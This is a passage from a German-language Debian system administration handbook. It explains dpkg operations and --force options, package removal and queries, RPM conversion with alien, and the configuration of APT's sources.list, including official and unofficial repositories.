Example 5.3. Getrenntes Entpacken und Konfigurieren

# dpkg --unpack man-db_2.5.7-4_i386.deb (Reading database... 284247 files already installed.) Preparing replacement of man-db 2.5.7-3 (using .../man-db_2.5.7-4_i386.deb) ... Unpacking the man-db update... Processing triggers for “doc-base”... Treatment of a modified documentation file(s) Recording documents with scrollkeeper ... # dpkg --configure man-db Configuring man-db (2.5.7-4) ... Updating database of manual pages ...

Manchmal wird dpkg bei der Installation eines Pakets scheitern und eine Fehlermeldung ausgeben; falls der Nutzer die Anweisung gibt, ihn zu ignorieren, wird es nur eine Warnung anzeigen; aus diesem Grund haben wir die verschiedenen --force-*-Optionen. Der Befehl dpkg --force-help oder die Dokumentation dieses Befehls zeigt Ihnen eine vollständige Liste dieser Optionen. Der häufigste Fehler, dem Sie früher oder später mit Sicherheit begegnen werden, ist eine Dateikollision. Wenn ein Paket eine Datei enthält, die bereits mit einem anderen Paket installiert worden ist, wird dpkg sich weigern, es zu installieren. In diesem Fall wird dann folgende Meldung erscheinen:

Unpacking libisc52 (from .../libisc52_1%3a9.6.ESV.R1+dfsg-0+lenny2_amd64.deb) ... dpkg : error processing /var/cache/apt/archives/libisc52_1%3a9.6.ESV.R1+dfsg-0+lenny2_amd64.deb (--unpack) : trying to overwrite "/usr/lib/libisc.so.50", which is also in package libisc50 1:9.6.1.dfsg.P1-3

Falls Sie in diesem Fall denken, dass das Ersetzen dieser Datei kein wesentliches Risiko für die Stabilität Ihres Systems bedeutet (was normalerweise der Fall ist), können Sie die Option --force-overwrite benutzen, die dpkg anweist, diesen Fehler zu ignorieren und die Datei zu überschreiben.

Obwohl viele --force-*-Optionen verfügbar sind, wird wahrscheinlich nur --force-overwrite häufiger gebraucht werden. Es gibt diese Optionen nur für außergewöhnliche Situationen, und es ist besser, soweit wie möglich die Finger von ihnen zu lassen, um die vom Paketverwaltungsmechanismus vorgegebenen Regeln einzuhalten. Sie sollten nicht vergessen, dass diese Regeln die Konsistenz und Stabilität Ihres Systems sicherstellen.

VORSICHT Effektive Verwendung von --force-*

Falls Sie nicht vorsichtig sind, kann der Gebrauch einer der --force-*-Optionen zu einem System führen, bei dem die APT-Befehlsfamilie nicht mehr funktioniert. In der Tat erlauben es einige dieser Optionen, ein Paket zu installieren, obwohl eine Abhängigkeit nicht erfüllt ist, oder wenn ein Konflikt vorliegt. Das Ergebnis ist ein aus Sicht der Abhängigkeiten inkonsistentes System, und die APT-Befehle werden sich weigern, irgendeine Aktion auszuführen, es sei denn, dass diese Aktion es ihnen ermöglicht, das System wieder in einen konsistenten Zustand zurückzuführen (dies besteht oft darin, dass die fehlende Abhängigkeit installiert oder ein problematisches Paket entfernt wird). Häufig führt dies zu einer Meldung wie der folgenden, die angezeigt wurde, nachdem eine neue Version von rdesktop installiert und dabei seine Abhängigkeit von einer neueren Version von libc6 ignoriert wurde:

# apt-get dist-upgrade [...] You can run "apt-get -f install" to correct these problems. The following packages contain unmet dependencies: rdesktop: Depends on: libc6 (>= 2.5) but 2.3.6.ds1-13etch7 is installed E: missing dependencies. Try to use the option -f.

Ein mutiger Administrator, der von der Richtigkeit seiner Analyse überzeugt ist, wird sich möglicherweise entscheiden, eine Abhängigkeit oder einen Konflikt zu ignorieren und die entsprechende --force-*-Option verwenden. Falls er in diesem Fall weiterhin in der Lage sein will, apt-get oder aptitude zu verwenden, muss er /var/lib/dpkg/status editieren, um die Abhängigkeit oder den Konflikt, über den er sich hinweggesetzt hat, zu löschen oder abzuändern.

Diese Manipulation ist ein hässlicher Hack und sollte niemals benutzt werden, oder doch nur im äußersten Notfall. Häufig besteht eine bessere Lösung darin, das Paket, das das Problem verursacht, neu zu kompilieren (siehe Section 15.1, “Ein Paket aus seinen Quellen neu erstellen”) oder eine neue (möglicherweise korrigierte) Version von einer Seite wie backports.debian.org zu verwenden (siehe Section 6.1.1.2, “Die Rückportierungen von backports.debian.org”).

5.4.2. Paketentfernung

Der Aufruf von dpkg mit der Option -r oder --remove, gefolgt von dem Paketnamen, entfernt das Paket. Dieses Entfernen ist jedoch nicht vollständig: alle Konfigurationsdateien und -skripte, Protokolldateien (Systemprotokolle) und andere vom Paket verarbeitete Nutzerdaten bleiben zurück. Sie werden zurückbehalten, um einerseits das Programm durch seine Deinstallation zu deaktivieren, andererseits aber die Option zu erhalten, es schnell und in derselben Konfiguration wieder zu installieren. Um alles, was mit einem Paket in Zusammenhang steht, vollständig zu entfernen, verwenden Sie die Option -P oder --purge, gefolgt von dem Paketnamen.

Example 5.4. Entfernen und vollständiges Löschen des Pakets debian-cd

# dpkg -r debian-cd (Reading database... 14170 files and directories already installed.) Removing debian-cd ... # dpkg -P debian-cd (Reading database... 13794 files and directories already installed.) Removing debian-cd ... Removing debian-cd configuration files...

5.4.3. Andere dpkg-Merkmale

ZURÜCK ZU DEN GRUNDLAGEN Optionen-Syntax

Die meisten Optionen gibt es sowohl in einer „langen“ Version (ein oder mehrere einschlägige Wörter mit einem vorangestellten doppelten Gedankenstrich) als auch in einer „kurzen“ Version (ein einzelner Buchstabe, häufig der Anfangsbuchstabe einer der Wörter der langen Version, mit einem einzelnen vorangestellten Gedankenstrich). Dieser Grundsatz ist so sehr verbreitet, dass er ein POSIX-Standard ist.

Bevor wir dieses Kapitel abschließen, möchten wir noch anmerken, dass einige dpkg-Optionen die interne Datenbank abfragen, um Informationen zu erhalten. Wir führen hierzu folgende Beispiele zunächst in der langen Version und dann der entsprechenden kurzen Version (die natürlich dieselben Parameter haben kann) an: --listfiles paket (oder -L), listet die von diesem Paket installierten Dateien auf; --search datei (oder -S), stellt das Paket fest, aus dem die Datei stammt; --status paket (oder -s), zeigt die Kopfzeilen eines installierten Pakets an; --list (oder -l), zeigt eine Liste der Pakete an, die dem System bekannt sind, und ihren Installationsstatus; --contents datei.deb (oder -c), führt die in dem genannten Debian-Paket enthaltenen Dateien auf; --info datei.deb (oder -I), zeigt die Kopfzeilen des Debian-Pakets an.

Example 5.5. Verschiedene Anfragen mit dpkg

$ dpkg -L base-passwd /. /usr /usr/sbin /usr/sbin/update-passwd /usr/share /usr/share/man /usr/share/man/ru /usr/share/man/ru/man8 /usr/share/man/ru/man8/update-passwd.8.gz /usr/share/man/pl /usr/share/man/pl/man8 /usr/share/man/pl/man8/update-passwd.8.gz /usr/share/man/man8 /usr/share/man/man8/update-passwd.8.gz /usr/share/man/fr /usr/share/man/fr/man8 /usr/share/man/fr/man8/update-passwd.8.gz /usr/share/doc-base /usr/share/doc-base/users-and-groups /usr/share/base-passwd /usr/share/base-passwd/passwd.master /usr/share/base-passwd/group.master /usr/share/lintian /usr/share/lintian/overrides /usr/share/lintian/overrides/base-passwd /usr/share/doc /usr/share/doc/base-passwd /usr/share/doc/base-passwd/copyright /usr/share/doc/base-passwd/users-and-groups.html /usr/share/doc/base-passwd/changelog.gz /usr/share/doc/base-passwd/users-and-groups.txt.gz /usr/share/doc/base-passwd/README $ dpkg -S /bin/date coreutils: /bin/date $ dpkg -s coreutils Package: coreutils Essential: yes Status: install ok installed Priority: required Section: utils Installed-Size: 12188 Maintainer: Michael Stone <mstone@debian.org> Architecture: i386 Version: 8.5-1 Replaces: mktemp, timeout Pre-Depends: libacl1 (>= 2.2.11-1), libattr1 (>= 2.4.41-1), libc6 (>= 2.6), libselinux1 (>= 1.32) Conflicts: timeout Description: GNU core utilities This package contains the basic file, shell and text manipulation utilities which are expected to exist on every operating system. . Specifically, this package includes: arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp csplit cut date dd df dir dircolors dirname du echo env expand expr factor false flock fmt fold groups head hostid id install join link ln logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc od paste pathchk pinky pr printenv printf ptx pwd readlink rm rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac tail tee test timeout touch tr true truncate tsort tty uname unexpand uniq unlink users vdir wc who whoami yes Homepage: http://gnu.org/software/coreutils $ dpkg -l 'b*' | head Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Description +++-===================-==========-============================================ un backupninja <none> (no description available) un base <none> (no description available) un base-config <none> (no description available) ii base-files 4 Debian base system miscellaneous files ii base-passwd 3.5.11 Debian base system master password and group $ dpkg -c /var/cache/apt/archives/iceweasel_2.0.0.18-0etch1_i386.deb drwxr-xr-x root/root 0 2008-11-23 23:18 ./ drwxr-xr-x root/root 0 2008-11-23 23:16 ./etc/ drwxr-xr-x root/root 0 2008-11-23 23:18 ./etc/iceweasel/ drwxr-xr-x root/root 0 2008-11-23 23:18 ./etc/iceweasel/profile/ -rw-r--r-- root/root 7138 2006-08-19 08:04 ./etc/iceweasel/profile/bookmarks.html -rw-r--r-- root/root 153 2006-09-14 19:13 ./etc/iceweasel/profile/localstore.rdf -rw-r--r-- root/root 3287 2005-02-01 18:36 ./etc/iceweasel/profile/search.rdf -rw-r--r-- root/root 287 2004-11-30 22:26 ./etc/iceweasel/profile/mimeTypes.rdf drwxr-xr-x root/root 0 2008-11-23 23:18 ./etc/iceweasel/profile/chrome/ -rw-r--r-- root/root 1078 2004-11-30 22:26 ./etc/iceweasel/profile/chrome/userChrome-example.css -rw-r--r-- root/root 663 2004-11-30 22:26 ./etc/iceweasel/profile/chrome/userContent-example.css -rw-r--r-- root/root 347 2004-07-28 23:20 ./etc/iceweasel/profile/prefs.js -rw-r--r-- root/root 53 2008-11-23 22:43 ./etc/iceweasel/iceweaselrc [...] $ dpkg -I /var/cache/apt/archives/iceweasel_2.0.0.18-0etch1_i386.deb new Debian package, version 2.0. size 9126828 bytes : control file = 37297 bytes. 346 bytes, 9 lines conffiles 1255 bytes, 20 lines control 122920 bytes, 1249 lines md5sums 1267 bytes, 37 lines * postinst #!/bin/sh 293 bytes, 8 lines * postrm #!/bin/sh 2763 bytes, 70 lines * preinst #!/bin/sh 274 bytes, 12 lines * prerm #!/bin/sh Package: iceweasel Version: 2.0.0.18-0etch1 Section: web Priority: optional Architecture: i386 Depends: fontconfig, psmisc, debianutils (>= 1.16), libatk1.0-0 (>= 1.12.2), libc6 (>= 2.3.6-6)... Suggests: iceweasel-gnome-support (= 2.0.0.18-0etch1), latex-xft-fonts, xprint, mozplugger, libkrb53 Conflicts: mozilla-firefox (<< 1.5.dfsg-1), firefox (<< 2.0+dfsg-1) Replaces: mozilla-firefox, firefox (<< 2.0+dfsg-1) Provides: www-browser Installed-Size: 26364 Maintainer: Eric Dorland <eric@debian.org> Description: lightweight web browser based on Mozilla Iceweasel is a redesign of the Mozilla browser component, similar to Galeon, K-Meleon and Camino, but written using the XUL user interface language and designed to be lightweight and cross-platform. . This browser is based on the Firefox source-code, with minor modifications. Historically, this browser was previously known as Firebird and Phoenix.

WEITERE SCHRITTE Vergleich von Versionen

Da dpkg das Programm zur Handhabung von Debian-Paketen ist, stellt es auch die Referenzanwendung für die Logik zum Vergleich von Versionsnummern bereit. Daher hat es die Option --compare-versions, die von externen Programmen benutzt werden kann (insbesondere von Konfigurationsskripten, die von dpkg selbst ausgeführt werden). Diese Option benötigt drei Parameter: eine Versionsnummer, einen Vergleichsoperator und eine zweite Versionsnummer. Die möglichen Operatoren sind lt (kleiner als), le (kleiner als oder gleich), eq (gleich), ne (ungleich), ge (größer als oder gleich) und gt (größer als). Falls der Vergleich zutrifft, gibt dpkg den Code 0 (Erfolg) aus; anderenfalls zeigt es einen von Null verschiedenen Wert an (Fehlschlag).

$ dpkg --compare-versions 1.2-3 gt 1.1-4 $ echo $? 0 $ dpkg --compare-versions 1.2-3 lt 1.1-4 $ echo $? 1 $ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1 $ echo $? 1

Beachten Sie den unerwarteten Fehlschlag des letzten Vergleichs: für dpkg hat pre, das normalerweise eine Vorabveröffentlichung bezeichnet, keine besondere Bedeutung, und es behandelt die Buchstaben in derselben Weise wie die Zahlen (a <b <c ...), in alphabetischer Reihenfolge. Daher hält es „0pre3“ für größer als „0“. Wenn wir möchten, dass die Versionsnummer eines Pakets eine Vorabveröffentlichung kennzeichnet, verwenden wir die Tilde „~“:

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1 $ echo $? 0

5.4.4. dpkgs Protokolldatei

Ein bei dpkg unlängst eingeführtes Merkmal ist das Führen eines Protokolls über alle seine Aktivitäten in /var/log/dpkg.log. Dieses Protokoll ist äußerst wortreich, da es jeden einzelnen Schritt aufzeichnet, durch den die von dpkg verarbeiteten Pakete gehen. Zusätzlich zu der Möglichkeit, das Verhalten von dpkg zu verfolgen, hilft es vor allem auch dabei, den Verlauf der Entwicklung des Systems festzuhalten: man kann den genauen Zeitpunkt feststellen, zu dem jedes Paket installiert oder aktualisiert worden ist, und diese Information kann für das Verständnis einer kürzlich aufgetretenen Verhaltensänderung äußerst hilfreich sein. Da alle Versionen aufgezeichnet werden, erleichtert es außerdem eine Gegenprobe mit changelog.Debian.gz für betroffene Pakete oder sogar mit Online-Fehlerberichten.

5.5. Koexistenz mit anderen Paketierungssystemen

Debian-Pakete sind nicht die einzigen in der freien Software-Welt verwendeten Software-Pakete. Hauptkonkurrent ist das RPM-Format für Red Hat Linux und seine zahlreichen Abkömmlinge. Red Hat ist eine sehr populäre kommerzielle Distribution. Häufig wird von Dritten bereitgestellte Software als RPM-Paket angeboten und nicht als Debian.

Für diese Fälle sollten Sie wissen, dass das Programm rpm, das mit RPM-Paketen umgeht, als Debian-Paket verfügbar ist, so dass es möglich ist, dieses Paketformat auf Debian zu verwenden. Dabei sollte jedoch beachtet werden, diese Verarbeitungen darauf zu beschränken, Informationen aus dem Paket zu gewinnen oder seine Unversehrtheit zu überprüfen. Es ist dagegen unsinnig, rpm zur Installation eines RPM-Pakets auf einem Debian-System zu verwenden. RPM benutzt seine eigene Datenbank, die von denen für systemeigene Programme (wie zum Beispiel dpkg) verschieden ist. Daher kann eine stabile Koexistenz zweier Paketverwaltungssysteme nicht sichergestellt werden.

Dagegen kann das Programm alien RPM-Pakete in Debian-Pakete umwandeln und umgekehrt.

GEMEINSCHAFT Die Einführung von .deb fördern

Falls Sie regelmäßig das Programm alien verwenden, um RPM-Pakete zu installieren, die von einem Ihrer Lieferanten kommen, sollten Sie nicht zögern, ihm zu schreiben und in freundlicher Weise Ihre starke Vorliebe für das .deb-Format zum Ausdruck zu bringen. Beachten Sie, dass das Format eines Pakets nicht alles ist: ein mit alien erzeugtes .deb-Paket oder eines, das für eine andere Debian-Version erstellt wurde als die von Ihnen verwendete oder gar für eine abgeleitete Distribution wie Ubuntu, würde wahrscheinlich nicht das gleiche Niveau an Qualität und Integration bieten, wie ein Paket, das speziell für Debian Squeeze entwickelt worden ist.

$ fakeroot alien --to-deb phpMyAdmin-2.0.5-2.noarch.rpm phpmyadmin_2.0.5-2_all.deb generated $ ls -s phpmyadmin_2.0.5-2_all.deb 64 phpmyadmin_2.0.5-2_all.deb

Sie werden feststellen, dass dieses Verfahren sehr einfach ist. Sie müssen jedoch wissen, dass das so erstellte Paket keinerlei Informationen über Abhängigkeiten enthält, da die Abhängigkeiten in den beiden Paketformaten keine systematische Entsprechung miteinander haben. Der Administrator muss daher manuell sicherstellen, dass das konvertierte Paket richtig funktioniert, und aus diesem Grund sollten so erzeugte Debian-Pakete möglichst vermieden werden. Glücklicherweise hat Debian von allen Distributionen die größte Sammlung an Softwarepaketen, und es ist wahrscheinlich, dass das, was Sie suchen, bereits darin vorhanden ist.

Wenn Sie sich die Handbuchseite für das Programm alien ansehen, werden sie feststellen, dass es auch andere Paketformate verarbeiten kann, vor allem solche der Slackware-Distribution (sie sind einfache tar.gz Archive).

Die Stabilität der Software, die unter Verwendung des Programms dpkg zum Einsatz gebracht wird, trägt zu Debians gutem Ruf bei. Die Programmgarnitur APT, die im folgenden Kapitel beschrieben wird, bewahrt diesen Vorzug, während sie gleichzeitig den Administrator davon entlastet, den Status von Paketen verwalten zu müssen, eine notwendige aber schwierige Aufgabe.

Chapter 6. Wartung und Aktualisierung: Die APT-Tools

Das Debian bei Administratoren so beliebt ist, liegt an der Einfachheit mit der das ganze System installiert und aktuell gehalten werden kann. Dieser einzigartige Vorteil rührt weitestgehend vom Programm APT, dessen Funktionen sich die Administratoren von Falcot Corp mit Begeisterung angeeignet haben.

APT ist die Abkürzung für Advanced Package Tool (fortschrittliches Paketierungstool). Den Begriff fortschrittlich verdient sich das Tool durch sein Herangehen an Pakete. Es bewertet diese nicht einfach individuell, sondern betrachtet die Pakete als Ganzes und erzeugt die bestmögliche Kombination von Paketen abhängig davon, welche (je nach Abhängigkeit) verfügbar und kompatibel sind.

WÖRTERVERZEICHNIS Paketquellen und Quellpakete

Der Begriff Quelle wird mehrdeutig verwendet. Ein Quellpaket – ein Paket, das den Quelltext eines Programms enthält – sollte nicht mit mit einer Paketquelle verwechselt werden – einem Depot (Website, FTP Server, CD-ROM, lokales Verzeichnis, etc.), das Pakete zur Verfügung stellt .

APT benötigt eine "Liste der Paketquellen": Die Datei /etc/apt/sources.list enthält eine Liste der verschiedenen Depots (oder "Quellen"), die Debian Pakete zur Verfügung stellen. APT importiert dann von jeder Quelle die Liste der dort verfügbaren Pakete. Dazu lädt APT von jeder Quelle die Dateien Packages.gz oder Packages.bz2 (falls es sich um Binärpakete handelt) und Sources.gz oder Sources.bz2 (falls es sich um Quelltextpakete handelt) herunter und analysiert deren Inhalt. Falls bereits ältere Versionen dieser Dateien gespeichert wurden, kann APT diese aktualisieren, indem es nur die geänderten Teile herunterlädt (siehe die Seitenleiste TIPP Inkrementelle Aktualisierung).

ZURÜCK ZU DEN GRUNDLAGEN gzip, bzip2, LZMA und XZ Komprimierung

Die Endung .gz kennzeichnet eine Datei, die mit dem Dienstprogramm gzip komprimiert wurde. gzip ist ein schnelles und effizientes traditionelles Unix-Dienstprogramm zum Komprimieren von Dateien. Neuere Werkzeuge erreichen bessere Komprimierungsraten, benötigen aber mehr Rechenzeit, um eine Datei zu komprimieren. In der Reihenfolge ihres Auftretens gibt es hierbei bzip2 (erzeugt Dateien mit der Endung .bz2 ) lzma (erzeugt .lzma Dateien) und xz (erzeugt .xz Dateien).

6.1. Befüllen der sources.list Datei

Jede aktive Zeile in der Datei /etc/apt/sources.list enthält die Beschreibung einer Quelle, bestehend aus drei, durch Kommata getrennten, Teilen.

Das erste Feld bezeichnet die Art der Quelle:

“deb” für Binärpakete,

“deb-src” für Quellpakete.

Das zweite Feld gibt den Basis-URL der Quelle an (kombiniert mit den Dateinamen in den Dateien namens Packages.gz müssen sich vollständige und gültige URLs ergeben): Diese Quelle kann aus einem Debian-Spiegelserver bestehen oder einer Paketsammlung, die von dritter Seite aufgesetzt wurde. Der URL kann mit file:// beginnen, um eine Quelle anzugeben, die sich im lokalen Verzeichnisbaum des Systems befindet, mit http://, um eine Quelle anzugeben, die auf einem Webserver zugreifbar ist, oder mit ftp:// für eine auf einem FTP-Server verfügbare Quelle. Der URL kann auch mit cdrom:// beginnen, bei einer CD-ROM-basierten Installation, allerdings wird dies seltener, da netzbasierte Installationsmethoden mehr und mehr die Regel werden.

Die Syntax des letzten Feldes hängt davon ab, ob die Quelle zu einem Debian-Spiegelserver gehört oder nicht. Im Falle eines Debian-Spiegels wird die gewählte Distribution benannt (stable, testing, unstable oder ihre aktuellen Codenamen – siehe die Liste in der Seitenleiste GEMEINSCHAFT Bruce Perens, ein umstrittener Leiter), dann die zu aktivierenden Abschnitte (Auswahl zwischen den Bereichen main, contrib und non-free. In allen anderen Fällen wird einfach das Unterverzeichnis der gewünschten Quelle angegeben (dies ist oft ein einfaches „./“, welches das Fehlen eines Unterverzeichnisses kennzeichnet – dann liegen die Pakete direkt am angegebenen URL).

WÖRTERVERZEICHNIS Die main, contrib und non-free Archive

Das Debian-Archiv ist in drei Bereiche unterteilt. Die Unterscheidung basiert auf der vom Autor für sein Werk gewählten Lizenz. Main (das Main-Archiv) enthält alle Pakete, die den Anforderungen der Debian-Richtlinien für Freie Software vollständig genügen.

Das non-free Archiv ist anders, da es Software umfasst, die diesen Richtlinien (nicht vollständig) entspricht, aber trotzdem ohne Einschränkungen verteilt werden darf. Dieses Archiv ist kein offizieller Bestandteil von Debian sondern ein Service für Anwender, die einige dieser Programme brauchen – allerdings empfiehlt Debian, freier Software immer den Vorzug zu geben. Die Existenz dieses Bereiches stellt ein beträchtliches Problem für Richard M. Stallman dar und hält die Free Software Foundation davon ab, Debian zu empfehlen.

Contrib (contributions) ist eine Sammlung von quelloffener Software, die für ihre Funktion auf nicht-freie Elemente angewiesen ist. Dabei kann es sich um Software aus dem non-free Bereich handeln, oder um nicht-freie Daten wie Spiele-ROMs, BIOS von Spielkonsolen usw. Contrib enthält auch freie Software, die proprietäre Bestandteile zur Übersetzung benötigt. Dies war anfänglich bei der OpenOffice.org Büro-Suite der Fall, die eine proprietäre Java Umgebung benötigte.

Im Allgemeinen kann der Inhalt einer standardmäßigen sources.list-Datei Folgendes sein:

Example 6.1. /etc/apt/sources.list Datei

# Security updates deb http://security.debian.org/ stable/updates main contrib non-free deb-src http://security.debian.org/ stable/updates main contrib non-free # Debian mirror deb http://ftp.debian.org/debian stable main contrib non-free deb-src http://ftp.debian.org/debian stable main contrib non-free

Diese Datei listet alle Paketquellen, die zur stabilen Debian-Version gehören. Falls Sie Testing oder Unstable verwenden möchten, müssen Sie natürlich die passenden Zeilen hinzufügen (oder die bestehenden ersetzen). Wenn die gewünschte Version eines Paketes in mehreren Paketquellen verfügbar ist, wird die Quelle benutzt, die als erstes in der Datei sources.list aufgeführt ist. Aus diesem Grunde werden inoffizielle Quellen für gewöhnlich am Ende der Datei hinzugefügt.

TIPP /etc/apt/sources.list.d/*.list Dateien

Falls viele Paketquellen benannt werden, kann es nützlich sein, diese in mehrere Dateien aufzuteilen. Jeder Teil wird dann in /etc/apt/sources.list.d/Dateiname.list gespeichert (siehe die Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN Auf .d endende Verzeichnisse).

KURZER BLICK apt-spy

Dieses Programm testet die Downloadgeschwindigkeit von mehreren Debian-Spiegelservern und erzeugt eine sources.list Datei, die auf den schnellsten Spiegelserver zeigt.

Normalerweise ist der während der Installation ausgewählte Spiegelserver geeignet, da er sich im gleichen Land befindet. Sollte jedoch das Herunterladen zu langsam sein, oder die Entfernung zum Server nach einem Umzug zu groß geworden sein, können Sie versuchen, die Anwendung aus dem Paket apt-spy auszuführen.

Die Datei sources.list enthält verschiedene andere Eintragstypen: Einige beschreiben Ihre Debian-CD-ROMs. Im Gegensatz zu anderen Einträgen ist eine CD-ROM nicht immer verfügbar, da sie im Laufwerk eingelegt sein muss. Außerdem kann immer nur eine CD-ROM zum gleichen Zeitpunkt gelesen werden – demzufolge werden diese Quellen ein kleines bisschen anders gehandhabt. Diese Einträge müssen mit dem Programm apt-cdrom hinzugefügt werden, üblicherweise ausgeführt mit dem Parameter add. Letzterer fordert Sie dann auf, die CD-ROM in das Laufwerk einzulegen, um dann deren Inhalt nach Packages-Dateien zu durchsuchen. DasProgramm nutzt diese Dateien, um die Datenbank verfügbarer Pakete zu aktualisieren (dies geschieht für gewöhnlich mit dem Befehl aptitude update). Von diesem Moment an kann APT auffordern, die CD-ROM einzulegen, falls es eines ihrer Pakete benötigt.

6.1.1. Sonstige verfügbare offizielle Depots

6.1.1.1. Stable Aktualisierungen

Einmal veröffentlicht, wird die Distribution Stable nur noch etwa alle 2 Monate aktualisiert, um die auf security.debian.org veröffentlichten Sicherheitsaktualisierungen zu integrieren.

Diese Zwischenaktualisierung kann auch Aktualisierungen für Pakete einbeziehen, die sich mit der Zeit weiterentwickeln, wie die Spam-Erkennungsregeln von spamassassin, die Viren-Datenbank von clamav oder die Sommerzeit-Regelungen aller Zeitzonen (tzdata).

All diese Aktualisierungen werden in einem Repository vorbereitet, das als proposed-updates bekannt ist. Jeder kann dieses Repository benutzen, um diese Aktualisierungen vor ihrer offiziellen Veröffentlichung zu testen. Der Auszug unten benutzt den Alias squeeze-proposed-updates, der sowohl deutlicher als auch konsistenter ist, da auch ein lenny-proposed-updates (für die Aktualisierungen für Oldstable) existiert:

deb http://ftp.debian.org/debian squeeze-proposed-updates main contrib non-free

Einmal fertiggestellt, werden die wichtigsten Aktualisierungen – die, die nicht auf die nächste Zwischenveröffentlichung von Debian warten können – in dem Repository stable-updates veröffentlicht (welches die meisten Systeme benutzen sollten):

deb http://ftp.debian.org/debian stable-updates main contrib non-free

6.1.1.2. Die Rückportierungen von backports.debian.org

Wenig überraschend beherbergt der Server backports.debian.org „Paket-Rückportierungen“. Der Begriff bezeichnet ein Paket einer neueren Software-Version, die für eine ältere Distribution neu kompiliert wurde, generell für Stable. Wenn eine Distribution älter wird, haben viele Software-Projekte bereits neuere Versionen veröffentlicht, die nicht in das gegenwärtige Stable integriert werden (welches nur verändert wird, um die allerkritischsten Probleme, wie Sicherheitslücken, zu behandeln). Weil die Distributionen Testing und Unstable risikobehaftet sein können, bieten einige Freiwillige manchmal Rekompilierungen neuerer Software-Anwendungen für Stable an, was den Vorteil hat, mögliche Instabilitäten auf eine kleine Anzahl ausgewählter Pakete zu begrenzen.

→ http://backports.debian.org/

Der sources.list-Eintrag für Rückportierungen, welche die Distribution Squeeze als Ziel haben, ist folgendermaßen:

deb http://backports.debian.org/debian-backports squeeze-backports main contrib non-free

6.1.1.3. Das Paketdepot Experimental

Das Archiv von Paketen in Experimental ist auf allen Debian-Spiegelservern vorhanden und enthält Pakete, die aufgrund ihrer nicht den Standards entsprechenden Qualität noch nicht in Unstable sind – oft sind es Entwicklerversionen oder Vorab-Versionen (Alpha, Beta, Veröffentlichungskandidat…). Ein Paket kann auch dorthin verschoben werden, wenn Änderungen Probleme verursachen können. Der Paketbetreuer versucht diese Probleme dann mit der Hilfe erfahrener Benutzter, die mit problembehafteter Software umgehen können, aufzuspüren. Nach dieser ersten Stufe wird das Paket nach Unstable verschoben, wo es ein viel größeres Publikum erreicht und dadurch viel gründlicher getestet wird.

Generell wird Experimental von Benutzern genutzt, denen es nichts ausmacht, wenn ihr System beschädigt wird und sie es reparieren müssen. Diese Distribution ermöglicht es, ein Paket einzubinden, das ein Benutzer ausprobieren möchte oder weil er es benötigt. Genau das ist die Vorgehensweise von Debian, da das Hinzufügen dieser in APTs sources.list-Datei nicht dazu führt, dass diese Pakete systematisch benutzt werden. Die hinzuzufügende Zeile ist:

deb http://ftp.debian.org/debian experimental main contrib non-free

6.1.2. Inoffizielle Resourcen: apt-get.org und mentors.debian.net

Es gibt zahlreiche inoffizielle Quellen von Debian-Paketen, aufgesetzt von fortgeschrittenen Benutzern, die Software neu kompiliert haben, von Programmierern, die ihre Werke allen verfügbar machen wollen und sogar von Debian-Entwicklern, die Vorab-Versionen ihrer Pakete online anbieten. Um diese alternativen Quellen einfacher zu finden, wurde eine Website eingerichtet. Sie enthält eine beeindruckende Anzahl von Debian-Paketquellen, die direkt in sources.list-Dateien integriert werden können. Aber hüten Sie sich davor, willkürlich Pakete hinzuzufügen: Jede Quelle wurde für eine bestimmte Debian-Version entworfen (die, die benutzt wurde, um die entsprechenden Pakete zu kompilieren); jeder Benutzer sollte darauf achten, die Stimmigkeit zwischen seinem System und dem, was er zur Installation auswählt, zu wahren.

→ http://www.apt-get.org/

Die Adresse mentors.debian.net ist auch interessant, weil sie Pakete zweier Entwicklergruppen sammelt: Die von Kanditaten für den Status eines offiziellen Debian-Entwicklers und die von Freiwilligen, die Debian-Pakete erstellen wollen, ohne durch den Integrationsprozess zu gehen. Diese Pakete werden ohne jegliche Garantie hinsichtlich ihrer Qualität zur Verfügung gestellt; achten Sie darauf, die Herkunft und Integrität zu prüfen und sie dann zu testen, bevor Sie erwägen, sie produktiv einzusetzen.

GEMEINSCHAFT Die debian.net Sites

Die Domain debian.net ist kein offizieller Bestandteil des Debian-Projekts. Jeder Debian-Entwickler kann diesen Domainnamen für den Eigengebrauch nutzen. Diese (Unter-)Websites können inoffizielle Dienste enthalten (manchmal persönliche Seiten), die auf Servern beherbergt sind, die nicht zum Projekt gehören und von Debian-Entwicklern aufgesetzt wurden. Oder sogar Prototypen, die irgendwann nach debian.org umziehen sollen. Es gibt zwei Gründe, warum diese Prototypen unter debian.net bleiben: Entweder hat niemand die nötige Anstrengung unternommen, sie in einen offiziellen Dienst zu überführen (beherbergt unter der Domain debian.org und mit sichergestellter Wartung), oder der Dienst ist zu umstritten, um offiziell zu werden.

Ein Paket zu installieren bedeutet, dessen Urheber Root-Rechte zu gewähren, da dieser über den Inhalt der Einrichtungsskripte entscheidet, die unter der Paket-Identität ausgeführt werden. Offizielle Debian-Pakete werden von Freiwilligen erstellt, die ausgewählt und überprüft wurden, und die ihre Pakete signieren können, so dass deren Herkunft und Integrität überprüft werden kann.

Seien Sie generell misstrauisch bei einem Paket, dessen Herkunft Sie nicht kennen und das nicht auf einem der offiziellen Debian-Servern beherbergt ist: Erwägen Sie in welchem Maß Sie dem Ersteller vertrauen können, und überprüfen Sie die Integrität des Pakets.

→ http://mentors.debian.net/

WEITERE SCHRITTE Alte Paketversionen: snapshot.debian.org

Ein neuer Dienst (eingeführt im April 2010) kann genutzt werden, um „in der Zeit zurück“ zu gehen und eine alte Version eines Pakets zu finden. Mit ihm lässt sich beispielsweise herausfinden, mit welcher Version eines Paketes ein (nach einer Aktualisierung/einem Patch neu aufgetretenes) Fehlverhalten eingeführt wurde, und konkreter, um zu der vorhergehenden Version zurück zu gehen, während man auf die Behebung wartet.

6.2. aptitude und apt-get Befehle

